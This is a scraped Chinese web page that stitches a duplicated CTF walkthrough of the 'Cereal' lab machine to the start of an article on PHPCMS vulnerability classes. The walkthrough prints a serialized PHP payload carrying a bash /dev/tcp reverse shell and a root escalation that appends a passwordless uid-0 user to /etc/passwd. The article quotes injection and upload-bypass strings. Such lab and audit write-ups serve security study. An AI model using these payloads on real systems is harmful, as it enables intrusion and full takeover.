由此,可以证明构造序列化的数据向服务端提交请求!,ip地址后面加入一些系统指令,来进一步证明!
这里我在223.5.5.5后面增加了 ;id
服务端回显了200的状态码
渲染界面里提示成功!
观察服务端回显的回应源数据文件
id的命令被执行了,目标靶机的第一个用户身份是apache的用户名称
因此,就可以在此处插入更多的指令
查看目标靶机中是否有nc的命令?
结果命令没有回显
由于插入常规的反弹shell 会导致字符长度过长,出于简单的目的,使用bash直接连接,产生网络连接的方式!
输入以下内容:
在kali中继续修改ser1.php文件
保存ser1.php文件后,在kali上开启侦听3028端口
再次运行 ser1.php文件,生成一个新的序列化数据O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A52%3A%22127.0.0.1%7Cbash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.1.85%2F3028+0%3E%261%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
将这个序列化的数据内容插入的repter之中,点击发送!
如图所示:获得了一个反弹shell的链接!身份是apche
本地提权
先收获第一个flag!
查看操作系统版本
查看 sudo 权限以及寻找suid文件漏洞,都没有得到有效的线索!
查看 目标系统内的所有用户
发现有一个rocky的用户可以登录系统!
查看rocky用户下的所有文件
重点放在了public_html下的文件,可以看到44441端口下的一些文件
进入到该文件目录,查看index.php 这个文件,发现内容和我之前下载的那个文件内容一样!类中的定义也是一样的!
查看目标靶机的系统进程
没有发现可利用的线索 (mysql用的是非root)
目标靶机启用了大量的端口!
这就是在端口扫描阶段,端口结果没有应用的原因!靶机作者用nc空开了许多无用的端口!
在漫长的信息收集后,决定使用一个监视目标靶机进程产生的工具
pspy64一个linux系统进程监控工具
下载地址:
部分网络环境需要挂的代理访问
百度云下载地址:
提取码:1zrs
从该软件的自述文件可以得知,不需要root身份就可以监控用户(操作系统)的新的进程创建,符合目前靶机的情况,来搜寻后台的进程-crond,这些后台进程会运行脚本文件(这些进程是root身份运行,比如定时任务什么的)
我现将这个软件上传到我的kali上去,因为目标靶机的系统是64位,因此我下载的这个Pspy也是64位的!
先查看目标靶机的定时任务和root下的定时任务
在root下提示是没有权限的!
将pspy64这个文件上传到目标靶机之中,查看目标靶机系统是否会在一段时间过后,自动创建一些后台进程(这些进程由root身份运行的呢?)
通过观察,在这个路径下,我目前的身份是apache ,而这些文件的用户组是apche,是拥有所有的权限的,包括了写入的权限!
因此,我利用nc 来接收这个pspy64文件
bash-4.4$ nc -nvlp 3030 > pspy
传入成功
nc 192.168.1.74 3030 < /home/fengxin/桌面/pspy64 -w 1
增加执行权限到pspy文件~
启动改文件 ./pspy
这个启动和执行过程需要等待一会,系统会不会有新的进程出现
!
1:33
在后台进程中,我发现了一个叫做chown.sh的脚本,众所周知chown是linux的一个命令
这应该是管理员自己创建的一个脚本文件
/bin/bash /usr/share/scripts/chown.sh
我在kali上监听3031端口,增加一个反弹shell的连接
修改之前抓取的obj对象里数据内容,将之前触发序列化漏洞的数据,有一个端口改为3031
查看目标靶机里的文件,能够查看到这个文件的权限是可以被其他用户所读取
查看该chown.sh文件
看起来是将周期性的这个/home/rocky/public_html/* 这个目标文件夹下所有的文件权限改成属主是rocky,属组是apache
这就是我之前有一个chmod +x 执行失败的原因,正好赶上周期性的将这个目录下所有文件的属主和属组改变,让我无法修改
一个周期过后,我在看这个public_html下所有的文件的属主和属组都发生了变化!
那么,这个命令脚本内容对目前渗透有什么帮助呢?
软连接这个命令这个时候就派上了用场!
先来看一下系统的/etc/passwd这个文件的属主和属组
在kali上只有root用户有可读可写权限,其他的只有读的权限
在目标靶机中的这个/etc/passwd文件是属主和属组拥有完全权限!
难么在靶机的这个/home/rocky/public_html下也新建一个Passwd文件,并连接到/etc/passwd呢?
ln -sf /etc/passwd ./passwd
这个chown.sh脚本在周期性的执行,会把这个/home/rokcy/public_html下的passwd文件属主改为rocky, 属组改为apache!
等待一段时间观察,监控到chown脚本周期执行,权限会发生变化,
可是图中的passd权限却没有发生变化!
按照理论目标靶机的/etc/passwd这个文件的属主和属组也会被修改成rokcy和apache的!
观察,/etc/passwd这个文件的属主和属组变化了!
这样的话就可以将root密码设为空了!
因为当前获得的反弹shell 不太稳定
我这里新建一个用户,密码占位符x 删除掉,不需要密码,使用的是uid和gid都为0的设置,了解linux用户属性的都知道uid=0 gid=0 的账号一定是root角色,并将这些信息追加到/etc/passwd中去
echo "daidai::0:0:root:/root:/bin/bash" >> /etc/passwd
最后查看passwd文件,注入成功!
最后使用su命令,切换到daidai这个用户
提权成功,获取flag
到此结束,打靶结束! 查看全部
php抓取网页数据插入数据库 外壳坚硬的谷子
发现了一个java_script脚本(实际渗透工作中应该关注此脚本内容,能够透出出后端的信息)
里面的内容大致的意思是
通过函数,提交表单,通过序列化的操作!IP地址等信息交给ipaddres这个变量序列化的操作!
那么在这里面既然有序列化的操作,是否会存在一个反序列化的漏洞类型呢?
这里还看到了一个被包含的js的文件
点击这个链接 :44441/php.js"
里面的内容大致就是序列化函数,大概率存在序列化操作
先对其页面进行功能化测试,输入127.0.0.1
在结果框中输出了结果
输入一些运营商的DNS的IP地址
结果显示出来,从结果上来看,就是通过操作系统的ping 命令操作得来的!
总的来说这就是一个ping的功能界面(输入Ip ,统计输出一些信息是由服务端调用了系统的ping 命令而来)
这个地方是否会存在命令注入漏洞呢?
使用;号,|管道符这样的连接命令,连接一个系统id的命令
如图:没有任何返回
使用burp抓取请求报文,看一下内部的流量变化,是否存在序列化的数据
先把浏览器代理设置好
通过抓取的报文,得到的是一个POST的请求方式;
携带了一个obj的对象和一个ip 的变量要提交到服务端;
其中这个obj的对象里的内容经过了url编码,将它转换成可识别的路径
转换结果,懂得序列化格式的朋友一看就是php文件之后的序列化数据的格式了
pingTest :序列化对象定义的的类
1 :代表类中一个数据的提交
ipAddress :类中提交的一个数据的变量名称
s : 代表了序列化
9 : 代表了名称ipAddress 和 127.0.0.1字符串的长度。
这就是客户端发送的序列化数据格式到服务端,服务端收到了127.0.0.1这个IP 去完成Ping,然后返回给客户端的一个过程!
如果觉得burp字体小,可以调的大一些
重新抓取一个请求报文,在表单中输入 127.0.0.1;id(增加了注入命令)
在抓取的请求报文中,将obj和ip 这两个类中序列化数据解码成可识别的url,看看有什么变化
序列化的格式基本没变,变化的就是赋值多了;id 这样的内容,字符长度也增加到了12个;
证明了表单中输入注入命令的这些内容,由java_script脚本原封不动的变成序列化的内容。
转发后,服务端并没有执行该序列化的内容
证明服务端对ip地址这样的格式存在检查机制!
为了弄清这个问题,将这个原始的命令发送请求发送给repeater
url被转换后,在repeater中点击send发送给服务端
在重放的界面中,可以构造一些注入命令;
我在这里添加 | ls ,发现服务端的响应报文有500的状态码
改变了字符的长度,虽然不是状态码500的状态码,但是回显页面是黑屏
反序列化的漏洞特征在黑盒测试下,是十分难获取,除非拿到源码!
那么接下来,就需要再目标靶机中找源码,在实际的渗透工作中,源码的存储路径默认在根路径下的.git或者.svn这样的版本库里
先停止burp的截断功能;
访问浏览器,查看是否有git的版本库文件,结果没有提示
查看.svn 也没有
再回想之前的信息收集,中曾描述了这么一段话:让我们关注其备份文件
再次使用dirbuster这个工具对secure.cereal.ctf:44441这个路径下进行隐藏路径和扩展名的爬取,携带体型较大的字典文件
在最终的爬取结果中,看到一些之前没有被爬取出的备份文件路径(根据计算机配置,时间长短不一!)
先访问/icons/small的路径,访问路径看起来但只是有一些小图片,这对渗透没有什么价值;
再针对/back_en这个路径进行隐藏路径的爬取,这里面是否会存在一些备份文件呢,还是利用dirbuster,只不过更换一个小体积的密码字典文件,携带查询扩展名为bak
寻找到了一个index.php.bak,并且这个http状态码是200 (这个状态显示该资源是存在的,并且能够请求到!)
既然发现了这一个文件,回到kali中,使用wget进行下载.index.php.bak
查看文件类型,看起来就是一个php的脚本文件,只不过增加了一个扩展名!
使用kali的文本编辑器mousepad打开该文件
看起来是一个带有php标签的php语言文件;
查看该php源码文件,发现有html标签文件

其中有java脚本文件中的一些序列化操作函数
源码审计分析
class pingTest ---定义了类(反序列化对象的类)
public $ipAddress = "127.0.0.1";--变量名称和赋值
public $isValid = False; -- 校验是失败的
public $output = ""; -- 空值
这是之前抓取的报文中obj对象中有的内容
function validate() {-- 定义了一个函数
if (!$this->isValid) { -- 校验isValid函数是真还是假
if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
{-- 使用过滤器对传入的IpAddress使用方法(使用filter_var进行判断)
$this->isValid = True;--fileter_var函数校验赋值若成功,将这个valid值变为True
}
}
$this->ping(); -- 执行Ping的命令;
}
public function ping() -- 以下是ping 的命令函数具体操作内容
{
if ($this->isValid) { -- isValid 若是 True
$this->output = shell_exec("ping -c 3 $this->ipAddress"); -- 执行内容就是使用ping 三个报文;
这里需要明白的是过滤器FILTERVALIDATE_IP 里的内容是在目标靶机中别的文件里进行定义的,其作用就是判断输入的内容是不是真正的IP,若是真正的IP,就将isValid改为True;
当post请求接收到来自obj请求的赋值时,进行一个解码的操作
f (isset($_POST['obj'])) {
$pingTest = unserialize -- 反序列化操作
(urldecode($_POST['obj'])); --解码
} else {
$pingTest = new pingTest; -- 新的赋值
}
$pingTest->validate(); --调用vali
分析完成后,攻击思路的重点放在提交的数据(IP地址)校验结果取决于与isvalid判定的结果,在源码文件中,默认isValid = False,若是生成一个序列化的数据,声明isValid值就等于True,这样的话,就会执行ping命令了!
实现绕过服务端的检查!
反序列化漏洞的利用方法
先在客户端上生成一个序列化的数据序列(内容中需要声明类,调用类创建一个新的序列化对象,,对象中的valid指定true,注入Ip地址后添加系统指令)实现饶过isValid真假的校验。
在kali上新建一个生成序列化的php文件,写一个ser1.php的php的代码
运行该php文件
生成了一个序列,将这个序列化的内容拷贝O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
将序列化内容粘贴到截获的报文之中去
将这个url 地址转换一下
能够看到有两个键值对 ipaddress 和isvalid
b=1 为布尔值,代表了真的意思!
点击发送,服务端返回了http状态码200
再观察服务端渲染回来的界面结果,看起来,是执行成功了!
再次验证结果,将生成序列化里的内容,稍作修改,将ipaddress改成另外一个Ip地址,(注意,如果改202.106.0.20这个IP,字符长度就要从原来的9变为12)要不然服务端会回显500的状态码!
结果成功!
由此,可以证明构造序列化的数据向服务端提交请求!,ip地址后面加入一些系统指令,来进一步证明!
这里我在223.5.5.5后面增加了 ;id
服务端回显了200的状态码
渲染界面里提示成功!
观察服务端回显的回应源数据文件
id的命令被执行了,目标靶机的第一个用户身份是apache的用户名称
因此,就可以在此处插入更多的指令
查看目标靶机中是否有nc的命令?
结果命令没有回显
由于插入常规的反弹shell 会导致字符长度过长,出于简单的目的,使用bash直接连接,产生网络连接的方式!
输入以下内容:
在kali中继续修改ser1.php文件
保存ser1.php文件后,在kali上开启侦听3028端口
再次运行 ser1.php文件,生成一个新的序列化数据O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A52%3A%22127.0.0.1%7Cbash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.1.85%2F3028+0%3E%261%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
将这个序列化的数据内容插入的repter之中,点击发送!
如图所示:获得了一个反弹shell的链接!身份是apche
本地提权
先收获第一个flag!
查看操作系统版本
查看 sudo 权限以及寻找suid文件漏洞,都没有得到有效的线索!
查看 目标系统内的所有用户
发现有一个rocky的用户可以登录系统!

查看rocky用户下的所有文件
重点放在了public_html下的文件,可以看到44441端口下的一些文件
进入到该文件目录,查看index.php 这个文件,发现内容和我之前下载的那个文件内容一样!类中的定义也是一样的!
查看目标靶机的系统进程
没有发现可利用的线索 (mysql用的是非root)
目标靶机启用了大量的端口!
这就是在端口扫描阶段,端口结果没有应用的原因!靶机作者用nc空开了许多无用的端口!
在漫长的信息收集后,决定使用一个监视目标靶机进程产生的工具
pspy64一个linux系统进程监控工具
下载地址:
部分网络环境需要挂的代理访问
百度云下载地址:
提取码:1zrs
从该软件的自述文件可以得知,不需要root身份就可以监控用户(操作系统)的新的进程创建,符合目前靶机的情况,来搜寻后台的进程-crond,这些后台进程会运行脚本文件(这些进程是root身份运行,比如定时任务什么的)
我现将这个软件上传到我的kali上去,因为目标靶机的系统是64位,因此我下载的这个Pspy也是64位的!
先查看目标靶机的定时任务和root下的定时任务
在root下提示是没有权限的!
将pspy64这个文件上传到目标靶机之中,查看目标靶机系统是否会在一段时间过后,自动创建一些后台进程(这些进程由root身份运行的呢?)
通过观察,在这个路径下,我目前的身份是apache ,而这些文件的用户组是apche,是拥有所有的权限的,包括了写入的权限!
因此,我利用nc 来接收这个pspy64文件
bash-4.4$ nc -nvlp 3030 > pspy
传入成功
nc 192.168.1.74 3030 < /home/fengxin/桌面/pspy64 -w 1
增加执行权限到pspy文件~
启动改文件 ./pspy
这个启动和执行过程需要等待一会,系统会不会有新的进程出现
!
1:33
在后台进程中,我发现了一个叫做chown.sh的脚本,众所周知chown是linux的一个命令
这应该是管理员自己创建的一个脚本文件
/bin/bash /usr/share/scripts/chown.sh
我在kali上监听3031端口,增加一个反弹shell的连接
修改之前抓取的obj对象里数据内容,将之前触发序列化漏洞的数据,有一个端口改为3031
查看目标靶机里的文件,能够查看到这个文件的权限是可以被其他用户所读取
查看该chown.sh文件
看起来是将周期性的这个/home/rocky/public_html/* 这个目标文件夹下所有的文件权限改成属主是rocky,属组是apache
这就是我之前有一个chmod +x 执行失败的原因,正好赶上周期性的将这个目录下所有文件的属主和属组改变,让我无法修改
一个周期过后,我在看这个public_html下所有的文件的属主和属组都发生了变化!
那么,这个命令脚本内容对目前渗透有什么帮助呢?
软连接这个命令这个时候就派上了用场!
先来看一下系统的/etc/passwd这个文件的属主和属组
在kali上只有root用户有可读可写权限,其他的只有读的权限
在目标靶机中的这个/etc/passwd文件是属主和属组拥有完全权限!
难么在靶机的这个/home/rocky/public_html下也新建一个Passwd文件,并连接到/etc/passwd呢?
ln -sf /etc/passwd ./passwd
这个chown.sh脚本在周期性的执行,会把这个/home/rokcy/public_html下的passwd文件属主改为rocky, 属组改为apache!
等待一段时间观察,监控到chown脚本周期执行,权限会发生变化,
可是图中的passd权限却没有发生变化!
按照理论目标靶机的/etc/passwd这个文件的属主和属组也会被修改成rokcy和apache的!
观察,/etc/passwd这个文件的属主和属组变化了!
这样的话就可以将root密码设为空了!
因为当前获得的反弹shell 不太稳定
我这里新建一个用户,密码占位符x 删除掉,不需要密码,使用的是uid和gid都为0的设置,了解linux用户属性的都知道uid=0 gid=0 的账号一定是root角色,并将这些信息追加到/etc/passwd中去
echo "daidai::0:0:root:/root:/bin/bash" >> /etc/passwd
最后查看passwd文件,注入成功!
最后使用su命令,切换到daidai这个用户
提权成功,获取flag
到此结束,打靶结束!
php抓取网页数据插入数据库 CMS真的安全吗?洞鉴PHPCMS
网站优化 • 优采云 发表了文章 • 0 个评论 • 60 次浏览 • 2022-06-28 22:05
什么是PHPCMS
说到PHPCMS,就不得不先提一提CMS。CMS全称“Content Management System”,意为“内容管理系统”,内容管理系统是一种位于WEB 前端(Web 服务器)和后端办公系统或流程(内容创作、编辑)之间的软件系统。内容的创作人员、编辑人员、发布人员使用内容管理系统来提交、修改、审批、发布内容。
这里指的“内容”可能包括文件、表格、图片、数据库中的数据甚至视频等一切你想要发布到Internet、Intranet以及Extranet网站的信息。内容管理还可选地提供内容抓取工具,将第三方信息来源,比如将文本文件、HTML网页、Web服务、关系数据库等的内容自动抓取,并经分析处理后放到自身的内容库中。
随着个性化的发展,内容管理还辅助WEB前端将内容以个性化的方式提供给内容使用者,即提供个性化的门户框架,以基于WEB技术将内容更好地推送到用户的浏览器端。
PHPCMS由国内80后知名创业者钟胜辉于2005年创办,是国内知名内容管理系统,它是一款基于 PHP 技术和 AJAX 技术的企业级网站内容管理系统,旨在帮助用户解决日益复杂与重要的 Web 内容的创建、维护、发布和应用。
PHPCMS的创立赶上了CMS蓬勃发展的时期,而且它将模块化开发方式做为功能开发形式,框架易于功能扩展,代码维护,优秀的二次开发能力,可满足所有网站的应用需求,所以迅速占领了国内的内容管理系统领域的大片领土。
从2005年PHPCMS第一版创立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均赢得了市场好评,最终在2010年盛大在线收购PHPCMS后,PHPCMS推出了主线产品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍为现在国内领先的内容管理系统,是各大站长建站的首选。
根据全网数据统计,使用PHPCMS的网站多达4万多个,其中大部分集中在国内,共有约3万余个,占使用量的75%以上,同时,PHPCMS在教育行业约有上千个网站使用,在政府部门的网站中,也有上百个网站使用,其他则用于商业用途,具体分布如下图:
从图中可以看出,PHPCMS的使用范围较广,其中在政府部门中不乏市县级政府这样的客户;教育行业内,也不乏国内大学的校级、院系官网使用PHPCMS作为其发布信息的官方主页;商业用途中,PHPCMS也备受中小型企业的青睐。
PHPCMS的版本更新迭代速度以及功能齐全等特性也为其快速扩张提供发展基础。但是,PHPCMS安全吗?
PHPCMS安全吗?
根据千里目实验室漏洞库的统计,PHPCMS从创办到如今近十三年,产品三大版本的漏洞总量高达100余个,其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40个,在40个漏洞之中,全网公布的高可利用性漏洞个数也高达两位数,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直备受广大用户的质疑。
经过对PHPCMS高危漏洞的分析整理以及统计,PHPCMS的高危漏洞类型主要有以下五类:SQL注入类、命令执行类、任意文件上传类、任意文件下载类、任意文件读取类。其中SQL注入问题是最为严重的一类,不管数量还是威胁性都是其中最高的,5类漏洞的数量具体分布占比如下图。接下来按照这些漏洞中威胁性最高的五类漏洞来介绍PHPCMS的经典漏洞,以及漏洞间的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架层面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入问题比PHPCMS 2008要严重很多,这是为什么?
首先从PHPCMS的框架上分析了这个问题的原因。PHPCMS2008中对GPC变量的处理, 是在
include/common.inc.php中使用$db->escape($_GET)对输入变量进行转义,实质上是调用了
mysql_real_escape_string,PHP手册上对这个函数的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函数将 unescaped_string中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于 mysql_query()
也就是说PHPCMS 2008中使用mysql_real_escape_string对输入变量进行处理,是可以达到防注入效果的,PHPCMS2008中这样的处理方式是比较安全的,但是也有其不合理的一面,原因在于:入口中对所有变量进行mysql_real_escape_string处理,显然并不是所有变量需要入库,这样处理必须影响性能(连接mysql->发送变量至mysql server ->mysql server转义->返回给PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其实就是调用了PHP内置的addslashes对GPC变量添加转义斜线,这就相当于php.ini中打开了magic_quotes_gpc选项,PHP手册中对magic_quotes_gpc的处理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
从PHP 5.4.0开始,已经不支持magic_quotes_gpc了,这是为什么?
(1)性能:由于并不是每一段被转义的数据都要插入数据库的,如果所有进入 PHP 的数据都被转义的话,那么会对程序的执行效率产生一定的影响。
(2)方便性:由于不是所有数据都需要转义,在不需要转义的地方看到转义的数据就很烦。比如说通过表单发送邮件,结果看到一大堆的 \'。
(3)安全问题:事实上addslashes或开启magic_quotes_gpc并不能完全杜绝SQL注入。因为addslashes对有些特殊字符后跟上'(单引号)并不会加把这个'变成/',如:0xbf27的字就不会,所以縗' OR 1 limit 1/* 这个就存在。
针对这个问题,PDO扩展而生,它主要解决两个问题:批量查询时使用prepare提升查询性能,使用参数化查询从根本上杜绝SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依旧使用以下代码,所这就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞层面分析
从具体的漏洞来看,PHPCMS代码中出现的SQL注入点主要有三种情况:
第一种情况,即外部可控参数未进行任何过滤,这种问题是因为系统设计人员代码设计的不严谨导致。其中最经典的PHPCMS v9 前台用户登录处SQL注入漏洞产生即是因为这个原因:用户在登录页面输入用户名与密码,在\phpcms\modules\member\index.php的login方法中,username使用的is_username进行了过滤而password没有做任何处理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陆js代码
所以,Password就成为了一个注入点。输入的username以及password被传到phpsso模块中进行认证,而phpsso模块并没有解析过滤用户名与密码就直接进行认证,认证后直接将信息返回到登录页面的login方法中。
第二种情况也是SQL注入中的经典情形,即代码中处理外部输入数据的时候使用了urldecode()函数。比如单引号被 urlencode 两次以后是 %2527,然后 POST。PHP 内部在生成全局变量 $_POST 的时候会先 urldecode,得到 %27,然后 PHP 会检查 Magic Quotes 的设置,但是无论是否开启 Magic Quotes,%27 都不会被 addslashes,因为这时根本没有单引号。
但是这时如果你在 PHP 代码中画蛇添足的加上 urldecode,%27就变成单引号了,这样就成功绕过了,这种情况出现的根源在于之前分析的PHPCMS使用magic_quotes_gpc这种方式来处理外部数据。
PHPCMS V9 WAP SQL注入漏洞即是因为这种情况:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('参数错误');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
这段代码中在处理外部可控参数commentid的时候,使用了urldecode()函数,最终可以采用%2527的方式来进行过滤绕过。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id传入sql查询语句
在函数中,代码通过GET获取'a_k'值,并调用sys_auth函数进行解密,然后使用parse_str()来解析解密后的$a_k参数,将字符串解析到变量中,并同时解码。在parse_str()解析的过程中,就将之前构造好的SQL注入paylaod赋值到各个参数,并且绕过了所有限制。
这个漏洞利用还有另一个关口,就是需要将payload使用sys_auth加密,同样,PHPCMS一个任意文件下载漏洞也是这个原理:构造payload—>sys_auth加密—>带入到phpcms\modules\content\
down.php文件init函数中—>进行解码并parse_str()解析,payload通过这种方式可以绕过所有过滤关口,最终成功触发。
从之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入问题就在于程序员对待代码逻辑的不严谨,缺少对外部可控参数的过滤或者说是缺少完全的过滤验证过程,PHP是很灵活的语言,其代码的逻辑严谨程度即代表着它的安全性高低!
命令执行漏洞
命令执行是一类威胁性非常大的漏洞类型,大多数“一锅端”(能够getshell,控制全站)漏洞都是命令执行漏洞。由之前的漏洞数量分布可知,命令执行问题的数量仅次于SQL注入,但是它的严重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令执行漏洞大部分都是由于一个函数,即global.func.php中的string2array()函数,函数代码如下:
/**
* 将字符串转换为数组
*
* @param string $data 字符串
* @return array 返回数组格式,如果,data为空,则返回空数组
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");
}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
该函数中使用了eval函数,这就代表所有调用这个函数的地方,如果存在过滤不严的情况,都会出现严重的命令执行漏洞。当然,我们不用怀疑程序员写BUG的能力,PHPCMS中多个命令执行漏洞都是因为外部参数未进行严格过滤,就直接带进了string2array()中进行处理,所以最终触发了漏洞。
其中最经典的一个漏洞PHPCMS 2008任意代码执行漏洞,该漏洞利用门槛之低让人大跌眼镜,漏洞的出处就在yp/web/include/common.inc.php的menu变量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu参数是一个外部可控参数,该参数被被传进后台之后未经过任何处理以及限制,导致在string2array()函数中直接被eval函数执行,导致远程代码执行漏洞。
而这个函数从PHPCMS 2008到PHPCMS V9一直都存在,而该系统程序员也只是在之后每一个调用此函数的地方都先对传入参数进行过滤或者限制,但是任何过滤限制都有被绕过的可能,之后的事实证明确实如此,比如之后再V9版本出现的PHPCMS V9 phpcms\
modules\dbsource\data.php出现的远程命令执行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代码执行漏洞等均是因为这个原因。
所以,防止PHP程序出现代码执行漏洞有一条金科玉律:永远不要在代码中使用eval。
因为,很少有人能够掌控住这个函数,一旦控制不住,可能就会出现一个“一锅端”的命令执行漏洞。
另外PHPCMS中出现的一个PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代码执行漏洞,它的思想很特别、也很典型。该漏洞中存在的一个猛兽理论值得很多程序员以及安全研究人员来认真研究的。“猛兽来了,我们应该将其绝杀在门外,但是有些人非得把它放进屋内,才杀之,你们难道不知道猛兽的嘴里可能叼了一个炸药包吗? 砰!!!结果全都玩完了…”。下面用具体代码来解释这个理论。
其中:
猛兽放进室内:copy($_GET['src'],$_GET['dst']);
这条猛兽不安全,杀之:unlink($_GET['dst']);
炸药包:$_GET['dst'] 此炸药包的作用是生成恶意文件。
这段代码中存在缺陷的地方就是将“猛兽”放进市内的地方:
copy($_GET['src'],$_GET['dst']);
可将任意文件copy成恶意文件,如木马,后来发现这个文件不安全,然后使用unlink将之删除...,但是,有种可能就是木马在删除之前,生成了新的木马文件,结果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令执行就是这个原理。首先上传头像,头像的格式被压缩为zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函数,首先被解压,然后判断为非jpg文件后删除。攻击者利用这个漏洞的过程中是将webshell保存为jpg中,构造后缀名突破jpg的限制,在文件被上传解压后,webshell执行在上层目录生成一个新的webshell文件,由此触发漏洞。
命令执行漏洞的威胁性极大,在任何代码审计中,只要代码中出现了eval,assert等这类代码执行函数后,都有可能出现代码执行漏洞。并且猛兽理论也应该在被关注,这样的逻辑在很多代码中都会被用到,其解决的方法即应该在第一步的时候就处理风险,不能将“猛兽放进屋来”。
任意文件上传漏洞、任意文件下载、任意文件读取漏洞
这三类漏洞是关于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上传漏洞主要是因为文件上传过程中,文件类型的限制不严或者因为存在过滤限制绕过,导致可以上传一些可执行文件,最终GetShell。该类漏洞与代码执行很相似,最根本就是为了执行上传文件中的恶意代码。
其中PHPCMS v9 注册页面任意文件上传漏洞和PHPCMS v9.6.1 后缀名提取导致任意文件上传漏洞都是一种采用构造后缀名绕过限制过滤的漏洞。第一个漏洞中的正则要求输入满足src/href=url.(gif|jpg|jpeg|bmp|png),则构造的(
)符合这一格式(这也就是为什么后面要加.jpg的原因)。之后通过一系列处理,将.jpg去掉,那么最后文件的后缀就变成了.php成为了可执行文件。
而第二个漏洞中则因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));处理被绕过,攻击这可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php来绕过过滤,最终由于apache的文件名解析特性(可以去掉空格)导致上传文件里php代码最终被解析执行。所以该类漏洞中,都是因为对文件名后缀缺少更严谨的处理,导致上传可执行文件最终导致getshell。
PHPCMS 查看全部
php抓取网页数据插入数据库 CMS真的安全吗?洞鉴PHPCMS
什么是PHPCMS
说到PHPCMS,就不得不先提一提CMS。CMS全称“Content Management System”,意为“内容管理系统”,内容管理系统是一种位于WEB 前端(Web 服务器)和后端办公系统或流程(内容创作、编辑)之间的软件系统。内容的创作人员、编辑人员、发布人员使用内容管理系统来提交、修改、审批、发布内容。
这里指的“内容”可能包括文件、表格、图片、数据库中的数据甚至视频等一切你想要发布到Internet、Intranet以及Extranet网站的信息。内容管理还可选地提供内容抓取工具,将第三方信息来源,比如将文本文件、HTML网页、Web服务、关系数据库等的内容自动抓取,并经分析处理后放到自身的内容库中。
随着个性化的发展,内容管理还辅助WEB前端将内容以个性化的方式提供给内容使用者,即提供个性化的门户框架,以基于WEB技术将内容更好地推送到用户的浏览器端。
